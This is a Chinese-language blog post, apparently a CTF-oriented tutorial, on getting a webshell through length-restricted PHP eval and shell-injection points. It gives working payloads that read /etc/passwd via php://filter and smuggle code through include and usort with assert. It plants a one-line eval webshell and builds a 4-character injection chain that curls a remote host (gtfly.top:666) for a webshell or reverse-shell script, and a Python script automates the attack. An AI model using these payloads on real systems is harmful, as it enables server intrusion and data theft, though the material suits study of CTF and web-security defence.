突破长度getshell的一些方法

很早之前P神就发过相关的内容了,最近也碰到一些,放到一起总结一下

突破eval长度限制

1
2
3
4
5
6
7
8
9
<?php
$param = $_REQUEST['param'];
if (
strlen($param) < 17 &&
stripos($param, 'eval') === false &&
stripos($param, 'assert') === false
) {
eval($param);
}

使用shell_exec()

payload:

?param=`$_GET[1]`;&1=curl xxx

使用include()

payload:

?param=include$_GET[1];&1=/etc/passwd

1.若只能本地包含,可以利用上传的临时文件或利用条件竞争的session文件;若可以远程包含,那么构造一个恶意文件放到自己服务器上包含之

2.使用php协议流,当然可能会有配置的限制

(1)执行代码

# GET
?param=include$_GET[1];&1=php://input
# POST
<?php phpinfo();?>

(2)读文件

?param=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=/etc/passwd

使用file_put_contents()+include()

首先将php代码base64编码:

▶ echo "<?php phpinfo();?>" | base64 
PD9waHAgcGhwaW5mbygpOz8+Cg==

使用file_put_contents写文件:

?1=file_put_contents&param=$_GET[1](S,P,8);

S代表文件名,P代表文件内容,8代表追加内容的标志;即通过php的这种特性将字符一个一个的写到文件中;可以将字母或数字写到文件中,而不能将特殊字符如<写到文件中,因此先进行编码,之后用文件包含+php协议流利用:

?1=php://filter/read=convert.base64-decode/resource=S&param=include$_GET[1];

usort后门

这种方法不适于上面的情况…不知道什么原因

usort函数

usort — 使用用户自定义的比较函数对数组中的值进行排序

例子:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function cmp($a, $b){
if($a == $b){
return 0;
}
return ($a < $b) ? -1 : 1;
}

$a = array(2,4,5,7,1);

usort($a, 'cmp');
var_dump($a);

上述代码会把$a数组从小到大进行排序

…运算符

这三个点是php5.6引入的特性:

https://www.php.net/manual/zh/migration56.new-features.php

它可以用来定义变长参数函数:

1
2
3
4
5
6
7
8
9
10
11
function f($req, $opt = null, ...$params) {
// $params 是一个包含了剩余参数的数组
printf('$req: %d; $opt: %d; number of params: %d'."\n",
$req, $opt, count($params));
}

f(1);
f(1, 2);
f(1, 2, 3);
f(1, 2, 3, 4);
f(1, 2, 3, 4, 5);

也可以进行参数展开,将数组和可遍历对象展开为函数参数:

1
2
3
4
5
6
7
8
function test($str1, $str2, $str3){
echo $str1;
echo $str2;
echo $str3;
}

$a = ['a','b','c'];
test(...$a); # 输出 abc

getshell

环境:php5.6+<php7.0

1
2
3
<?php

usort(...$_GET);

payload:

?1[]=test&1[]=phpinfo();&2=assert

命令执行4字符getshell

Hitcon2017 BabyFirst Revenge v2,其关键部分的代码类似下面的:

1
2
3
4
5
6
7
8
<?php
mkdir('./tmp');
chdir('./tmp');
$param = $_REQUEST['param'];
if(strlen($param) < 5 ){
`$param`;
}
?>

预备linux知识

1.下面第一个符号是将字符写到文件(覆盖),第二个是追加到文件,对于不存在的文件他们都会自动去创建:

>
>>

例如,将1234写入到文件a中:

echo 1234 > a

创建一个空文件b:

>b

2.按照时间将文件排序,最新创建/修改的排在最前面

ls -t

3.通过反斜线,可将命令拆成多行执行

l\s

4.输入通配符*,linux会把第一个列出的文件名当做命令执行,剩余的文件名作为参数:

▶ >id

▶ >root

▶ *
uid=0(root) gid=0(root) 组=0(root)

再比如,当前目录下有两个文件lslss,那么会有下面的情况:

▶ *s
lss

相当于执行了ls lss

5.通过rev倒序输出内容:

▶ echo 1234|rev
4321

6.ls-h把文件大小显示为我们可以直接读的单位(1K、1M、1G),不能单独的ls -h使用,要搭配-l,例如ls -lh;使用这个参数的目的是为了下面的排序

7.dir可以不换行输出,而ls是换行输出的:

▶ ls > a

▶ cat a
0>
a
ht-
sl

▶ dir > a

▶ cat a
0>  a  ht-  sl

8.{$IFS}可以作为空格

构造

思路为:

  • 首先将ls -th >f写到一个文件内,比如0
  • 然后将一句话echo "<?php @eval($_POST['t']);?>" > 1.php拆分成一段一段的,倒序构造成文件名
  • 最后执行0,会得到一个文件ff的内容就是一句话,然后再执行f,便会生成一句话文件1.php

第一步的payload:

>dir    
>f\>    
>ht-   
>sl     
*>v     #意思为 dir f> ht- sl > v,即v的内容为 f> ht- sl
>rev   
*v>0    # 执行 rev v > 0,即0的内容为 ls -th > f

第二步,首先构造正常的payload:

# 1,有特殊字符,最好base64编码
echo "<?php @eval($_POST['t']);?>" > 1.php

# 2,在自己vps上构造一句话或者反弹shell脚本
curl gtfly.top:666>1.php

这里用2的payload,构造:

>p
>ph\
>1.\
>\>\
>6\
>66\
>p:\
>to\
>y.\
>fl\
>gt\
>\ \
>rl\
>cu\

第三步,执行:

sh 0
sh f

那么总的payload.txt:

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>p
>ph\
>1.\
>\>\
>6\
>66\
>p:\
>to\
>y.\
>fl\
>gt\
>\ \
>rl\
>cu\
sh 0
sh f

利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://127.0.0.1/test.php?param={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))

#检查是否攻击成功
test = requests.get("http://127.0.0.1/tmp/1.php")
if test.status_code == 200:
print("[*]Attack success!!!")

构造的过程中也碰到了一些坑,因为空格和>在bash中会被忽略和当成写文件的符号,因此构造特定的文件名时要进行转义;直接修改php代码测试时,因为php的特性,文件名最后有反斜线时要用两个反斜线才能运行:

`>xx\\`

而使用$_GET传参时只需一个反斜线,传来的值不具有转义功能了

小于4字符?Trick

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['cc'])){
$cc = $_GET['cc'];
eval(substr($cc, 0, 6));
}
else{
highlight_file(__FILE__);
}

前些天的高校战疫的题,eval中只能含有六位字符串,除去最后的;和“``”,只剩下3位可控字符

这里可以利用已有变量$cc

?cc=`$cc`;ls > a

其实执行的是:

eval(`$cc`;);

即:

eval(``$cc`;ls>a`);

正好分号也是linux命令执行的分隔符,妙啊


参考:

http://www.bendawang.site/2017/11/15/Hitcon2017-Web-Writeup/